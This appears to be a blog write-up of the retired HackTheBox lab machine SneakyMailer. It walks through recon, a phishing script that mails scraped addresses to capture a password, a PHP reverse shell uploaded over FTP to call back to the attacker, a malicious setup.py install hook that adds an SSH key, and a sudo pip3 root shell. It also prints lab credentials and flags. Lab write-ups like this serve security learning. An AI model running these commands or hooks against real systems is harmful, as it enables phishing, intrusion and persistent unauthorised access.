Writeup: HackTheBox SneakyMailer Machine

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Sneakymailer, is retired.

Machine Info

1. TLDR

SneakyMailer graph

2. Preparation

I have prepared some useful variables:

export IP=10.10.10.197

3. Scanning and reconnaissance

In the beginning, I ran a nmap scanner to reveal and identify services that have been run on 1000 of the most popular ports.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T4 $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-08 18:07 CET
Nmap scan report for 10.10.10.197
Host is up (0.046s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: THREAD=REFERENCES IMAP4rev1 OK NAMESPACE CHILDREN IDLE ENABLE ACL QUOTA UTF8=ACCEPTA0001 STARTTLS SORT completed CAPABILITY UIDPLUS THREAD=ORDEREDSUBJECT ACL2=UNION
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: THREAD=REFERENCES IMAP4rev1 OK NAMESPACE CHILDREN IDLE ENABLE ACL AUTH=PLAIN QUOTA UTF8=ACCEPTA0001 SORT completed CAPABILITY UIDPLUS THREAD=ORDEREDSUBJECT ACL2=UNION
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.30 seconds

I was interested in the http service running on port 8080, so I launched a gobuster tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://$IP:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.197:8080
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/08 18:38:11 Starting gobuster
===============================================================
Error: error on running goubster: unable to connect to http://10.10.10.197:8080/: Get http://10.10.10.197:8080/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

Gobuster returned the error. I thought it might be worth to run this tool again, but with the User-Agent set to match the existing browser. Unfortunately, no significant results were returned:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://$IP:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -a "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36" | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.197:8080
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
[+] Timeout:        10s
===============================================================
2020/11/08 18:55:54 Starting gobuster
===============================================================
===============================================================
2020/11/08 19:28:50 Finished
===============================================================

The http service was also launched on port 80. After accessing the page, you were immediately redirected to http://sneakycorp.htb:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl -I  $IP
HTTP/1.1 301 Moved Permanently
Server: nginx/1.14.2
Date: Sun, 08 Nov 2020 21:31:04 GMT
Content-Type: text/html
Content-Length: 185
Connection: keep-alive
Location: http://sneakycorp.htb

So I added an entry to the /etc/hosts:

10.10.10.197	sneakycorp.htb

At http://sneakycorp.htb there was a website of the organization:

Website

So I launched the gobuster tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://sneakycorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/02-sneakycorp.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://sneakycorp.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/08 22:42:51 Starting gobuster
===============================================================
/img (Status: 301)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)

and in the meantime, I looked at the source of the page and found a mention of the resource http://sneakycorp.htb/pypi/register.php:

Commented Register

Once again the gobuster took off:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://sneakycorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,txt | tee gobuster/03-sneakycorp-php.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://sneakycorp.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,htm,txt
[+] Timeout:        10s
===============================================================
2020/11/08 23:30:15 Starting gobuster
===============================================================
/index.php (Status: 200)
/img (Status: 301)
/css (Status: 301)
/team.php (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
/pypi (Status: 301)
===============================================================
2020/11/09 00:47:19 Finished
===============================================================

I also ran a gobuster to find the remaining resources in the /pipi. Unfortunately, without success:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://sneakycorp.htb/pypi -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,txt | tee gobuster/04-pypi.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://sneakycorp.htb/pypi
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,htm,txt
[+] Timeout:        10s
===============================================================
2020/11/13 13:25:11 Starting gobuster
===============================================================
/register.php (Status: 200)

4. Gaining access to IMAP

The name of the task SneakyMailer suggested the possibility to explore the postal service. Neither metasploit nor searchsploit suggested any significant possibilities at this stage. I thought about the possibility of phishing. If it was, the machine pretending to be the user’s behavior should enter any link sent by the attacker.

On the team.php subpage there was a table with 57 users including email addresses.

Website Team

So I added an entry to the /etc/hosts:

10.10.10.197    sneakymailer.htb

I saved all email addresses to the file emails.txt

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl http://sneakycorp.htb/team.php | grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" > emails.txt
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $wc -l emails.txt 
57 emails.txt

The file contains 57 email addresses.

Using the Swaks aka Swiss Army Knife for SMTP tool, I have written a script that sends an email containing a link to the site to the embedded address:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat ./send_emails.sh 
#! /bin/sh

if [ $# -ne 2 ]; then
  echo "Usage: send_emails.sh [server] [lhost] < emails.txt"
  exit 1
fi

server=$1
lhost=$2

while read email
do
  swaks --to $email --server $server --body http://$lhost
done

Then I started listening on port 80:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $sudo nc -nvlp 80

and I ran the script:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat emails.txt | ./send_emails.sh sneakycorp.htb 10.10.15.25

After making tea, a request appeared in the terminal with netcat:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $sudo nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.15.25] from (UNKNOWN) [10.10.10.197] 53078
POST / HTTP/1.1
Host: 10.10.15.25
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

After decoding the URL in CyberChef

CyberChef URL Decode

…it was already known that the data sent was..:

firstName=Paul
lastName=Byrd
email=paulbyrd@sneakymailer.htb
password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Thus, the Paul’s credentials were paulbyrd@sneakymailer.htb:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

I prepared an email client configuration file:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat ~/.muttrc
set folder      ='imaps://paulbyrd@sneakymailer.htb:993/*'
set imap_user   = 'paulbyrd'
set imap_pass   = '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht'

and then I connected to the IMAP service:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $mutt -R

5. Gaining access to IMAP

There were two messages in the INBOX.Sent Items directory:

Mailbox content

One of them contained credentials developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C :

Mailbox password reset

The second message was information about tests of the PyPI service:

Mailbox module testing

I tried to connect to IMAP and SSH using the new data set, unfortunately without success. However, I managed to connect to the FTP service:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:t4wny0wl): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (10,10,10,197,230,70).
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Nov 13 12:01 dev
226 Directory send OK.
ftp> quit
221 Goodbye.

So I downloaded the content of the dev catalog:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $wget -r ftp://developer@sneakycorp.htb --password='m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C'

This way I downloaded the sources of the site.

6. Gaining access to the shell

While browsing through the site’s sources to reveal vulnerabilities, comments, passwords, etc. I came across a fragment:

source dev

I did not associate direct references to the developer version of the portal, but… maybe I didn’t notice something?

So I asked the server about the visible part:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl http://sneakycorp.htb | grep -i 'Sidebar - Brand' -A10
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0      <!-- Sidebar - Brand -->
      <a class="sidebar-brand d-flex align-items-center justify-content-center" href="index.php">
        <div class="sidebar-brand-icon rotate-n-15">
          <i class="fas fa-laugh-wink"></i>
        </div>
        <div class="sidebar-brand-text mx-3">Sneaky Corp</div>
      </a>

      <!-- Divider -->
      <hr class="sidebar-divider my-0">

100 13543    0 13543    0     0   110k      0 --:--:-- --:--:-- --:--:--  110k

The fragment differed from the one from the sources about the developer version of the portal. So there were two variants: either I have sources of the old version of the portal, or… There is a parallel developer version.

I added another record to /etc/hosts:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	whitehatlab
10.10.10.197    sneakycorp.htb dev.sneakycorp.htb
10.10.10.197    sneakymailer.htb

and I tried to go to http://dev.sneakycorp.htb. In fact, at least two versions of the same page were running on the server:

Dev website

I decided to check if the developer version works directly from the resource provided by FTP.

So I sent a test file to the server…

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $echo '<?php echo "test" ?>'>74wny0wl.php
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:t4wny0wl): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> cd ./dev
250 Directory successfully changed.
ftp> put 74wny0wl.php
local: 74wny0wl.php remote: 74wny0wl.php
227 Entering Passive Mode (10,10,10,197,169,167).
150 Ok to send data.
226 Transfer complete.
22 bytes sent in 0.00 secs (596.7881 kB/s)
ftp> quit
221 Goodbye.

and I tried to send a request:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl http://dev.sneakycorp.htb/74wny0wl.php
test

So I controlled the files on the web server. So it was left to send the reverse shell.

First, I prepared the reverse shell:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cp /usr/share/webshells/php/php-reverse-shell.php 74wny0wl.php

and I set a controlled address and port:

$ip = '10.10.15.25';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

Then I uploaded the file to the server:

ftp> put 74wny0wl.php
local: 74wny0wl.php remote: 74wny0wl.php
227 Entering Passive Mode (10,10,10,197,216,55).
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.00 secs (67.1607 MB/s)

I launched netcat:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

and I sent a request:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl http://dev.sneakycorp.htb/74wny0wl.php

I got access to the shella:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.15.25] from (UNKNOWN) [10.10.10.197] 38728
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 13:34:42 up  4:50,  0 users,  load average: 0.01, 0.04, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

and I stabilized the shell:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

I had www-data user rights:

www-data@sneakymailer:/$ whoami
www-data

7. Privilege escalation: www-data ⇨ low

I downloaded the tool linpeas.sh and started it immediately:

www-data@sneakymailer:/dev/shm$ wget http://10.10.15.25/linpeas.sh
--2020-11-13 13:39:41--  http://10.10.15.25/linpeas.sh
Connecting to 10.10.15.25:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 228272 (223K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 222.92K   866KB/s    in 0.3s    

2020-11-13 13:39:41 (866 KB/s) - 'linpeas.sh' saved [228272/228272]

www-data@sneakymailer:/dev/shm$ chmod +x linpeas.sh 
www-data@sneakymailer:/dev/shm$ ./linpeas.sh

On the standard output there is information about:

[+] Sudo version
Sudo version 1.8.27
low       1098  0.0  0.5 103788 21440 ?        Ss   14:29   0:04 /home/low/venv/bin/python /opt/scripts/low/install-modules.py
/var/www/pypi.sneakycorp.htb/.htpasswd:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat /etc/hosts
10.10.10.197    sneakycorp.htb dev.sneakycorp.htb pypi.sneakycorp.htb
10.10.10.197    sneakymailer.htb

I then proceeded to crack the password:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $echo '$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/' > apache_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $hashcat -a 0 -m 1600 apache_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable
hashcat (v6.1.1) starting...

After a short time I was in possession of another password:

soufianeelhaoui

The problem is that I didn’t know whose. So I read the /etc/passwd. There were some interesting users on the list:

www-data@sneakymailer:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
low:x:1000:1000:,,,:/home/low:/bin/bash
...
postfix:x:108:116::/var/spool/postfix:/usr/sbin/nologin
courier:x:109:118::/var/lib/courier:/usr/sbin/nologin
vmail:x:5000:5000::/home/vmail:/usr/sbin/nologin
developer:x:1001:1001:,,,:/var/www/dev.sneakycorp.htb:/bin/bash
pypi:x:998:998::/var/www/pypi.sneakycorp.htb:/usr/sbin/nologin
www-data@sneakymailer:/dev/shm$ 

The .htpasswd file containing the hash was located in the /var/wwww/pypi.sneakycorp.htb directory, which was the directory of the pypi user. So I used the pypi:soufianeelhaoui pair to authenticate myself as a pypi user…

www-data@sneakymailer:/dev/shm$ su pypi        
Password: 
su: Authentication failure

…but the attempt failed. What have I forgotten?

If there was a recurring theme about PyPI service, where is it available? I overlooked port 8080:

Pypi website

If python3 can store data in the ‘low’ user directory, it is an opportunity to add an ssh key.

I prepared the file setup.py:

from setuptools import setup, find_packages

try:
    with open('/home/low/.ssh/authorized_keys','a') as f:
        f.write(r'''ssh-rsa AAAA[...]H7sw== 74wny0wl@protonmail.com''')
except:
    pass

setup(name='74wny0wl',
      version='0.1',
      description='74wny0wl',
      url='https://whitehatlab.eu',
      author='74wny0wl',
      author_email='74wny0wl@protonmail.com',
      license='MIT',
      packages=find_packages())

The exception handling is important here. When you start up for the first time, as a user ww-data I will not have permission to add a key. However, this script will be restarted a second time by the /opt/scripts/low/install-modules.py script which works on the low’s privileges.

I also prepared a file .pypirc:

[distutils]
index-servers = 
    local

[local]
repository= http://pypi.sneakycorp.htb:8080
username=pypi
password=soufianeelhaoui

Then I shared these files via http server:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer/74wny0wl-pkg]
└──╼ $python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

and I downloaded them to the attacked machine:

www-data@sneakymailer:/dev/shm/74wny0wl-pkg$ wget http://10.10.15.25:8080/setup.py
www-data@sneakymailer:/dev/shm/74wny0wl-pkg$ wget http://10.10.15.25:8080/.pypirc.py

I needed to set two more environmental variables:

www-data@sneakymailer:/dev/shm/74wny0wl-pkg$ export PYTHONPATH=/usr/lib/python3/dist-packages/
www-data@sneakymailer:/dev/shm/74wny0wl-pkg$ HOME=$(pwd)

The only thing left is to run the installation script:

www-data@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local

After a while it was possible to log in as a low user:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer/74wny0wl-pkg]
└──╼ $ssh low@sneakycorp.htb
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Fri Nov 13 17:12:52 2020 from 10.10.15.25
low@sneakymailer:~$

I read the flag:

low@sneakymailer:~$ cat user.txt 
987f1382b2a573e4fa79f8df1551ca0e

8. Privilege escalation: low ⇨ root

What is left is to use the vulnerable sudo version:

low@sneakymailer:~$ sudo -l

sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

I couldn’t take advantage of the vulnerability as in Blunder, but I could run pip3 as root without authentication

So I used gtfobins and executed the command:

low@sneakymailer:/dev/shm$ TF=$(mktemp -d)
low@sneakymailer:/dev/shm$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:/dev/shm$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.zMvRs2nJM0
# id
uid=0(root) gid=0(root) groups=0(root)

The only thing left to do is to read the flag:

# cat ~/root.txt
75ed278b37590fbb44eb16daf772030d

9. Summary

The following circumstances led to the capture of the flags: